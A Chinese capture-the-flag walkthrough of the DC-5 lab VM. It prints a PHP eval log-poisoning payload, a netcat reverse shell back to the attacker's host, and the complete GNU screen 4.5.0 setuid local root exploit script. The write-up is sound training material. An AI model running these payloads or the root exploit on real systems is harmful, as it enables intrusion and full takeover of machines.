描述
DC-5 是另一个专门建造的易受攻击实验室,旨在获得渗透测试领域的经验。
计划是让 DC-5 将其提升一个档次,因此这对于初学者来说可能不是很好,但对于具有中级或更好经验的人来说应该没问题。时间会证明一切(反馈也会)。
据我所知,只有一个可利用的入口点可以进入(也没有 SSH)。这个特定的入口点可能很难识别,但它就在那里。你需要寻找一些不寻常的东西(随着页面的刷新而改变的东西)。这有望提供有关漏洞可能涉及的内容的某种想法。只是为了记录,不涉及 phpmailer 漏洞。
这个挑战的最终目标是获得 root 并阅读唯一的标志。
必须具备 Linux 技能和熟悉 Linux 命令行,以及具备一些基本渗透测试工具的经验。
对于初学者,Google 可以提供很大的帮助,但您可以随时向我发送电子邮件以寻求帮助,让您重新开始。但请注意:我不会给你答案,相反,我会给你一个关于如何前进的想法。
下载地址:https://pan.quark.cn/s/c5c4c92a1f01
下载完成之后解压用vm虚拟机打开镜像,打开之后把桥接改成NAT就可以了。然后开机开搞
ip a
nmap 192.168.40.1/24
nmap -A -sV -T4 -p- 192.168.40.149
dirsearch -u http://192.168.40.149/thankyou.php
192.168.40.149/thankyou.php?file= @eval($_POST[aaa]);
http://192.168.40.149/thankyou.php/wp-content/plugins/wp-publication-archive/includes/openfile.php?file=/var/log/nginx/error.log
nc -lvp 4444
nc 192.168.40.130 4444 -e /bin/sh
ls
python -c 'import pty;pty.spawn("/bin/bash")'
SUID(SetUser ID)提权 是一种利用文件的特殊权限配置(setuid)来提升权限的攻击方法。SUID 是 Unix 和类 Unix 系统中的一种特殊权限,它使得文件在被执行时,以文件所有者的权限运行,而不是执行者的权限。
SUID 权限介绍
SUID(SetUser ID) 是一种文件权限标志,当它被设置时,文件在被执行时会以文件的拥有者权限运行。
举个例子,如果 文件设置了 SUID 权限,那么即使普通用户执行这个程序,它也会以 root 用户的权限运行,从而使得该用户可以修改系统密码。
具有 SUID 权限的文件通常是需要系统管理员权限才能执行的程序。
find / -perm -u=s -type f 2>/dev/null
解释命令:
find /:在整个文件系统根目录 下进行查找。/
-perm -u=s:查找设置了 setuid 权限的文件。setuid 是一种特殊权限,表示该文件在执行时会以文件所有者的权限运行,而不是执行者的权限。通常,这会用于系统程序(如 )以提升权限。/bin/passwd
-type f:仅查找文件,排除目录等其他类型的文件系统条目。
2>/dev/null:将错误输出重定向到 ,即忽略任何错误信息,常用来屏蔽权限不足或其他错误导致的警告。/dev/null
screen 是一款由 GNU 开发的命令行终端工具,它提供了从多个终端窗口连接到同一个 shell 会话(会话共享)。
当网络中断,或终端窗口意外关闭是,中 screen 中运行的程序任然可以运行(系统自带的终端窗口,当窗口意外关闭时,在该终端窗口中运行的程序也会终止。)。
searchsploit screen 4.5.0
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACKTHEPLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat <<EOF>/tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D-m -L ld.so.preload echo -ne "x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
原文始发于微信公众号(信安一把索):渗透测试 - DC-5 - 练习篇
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论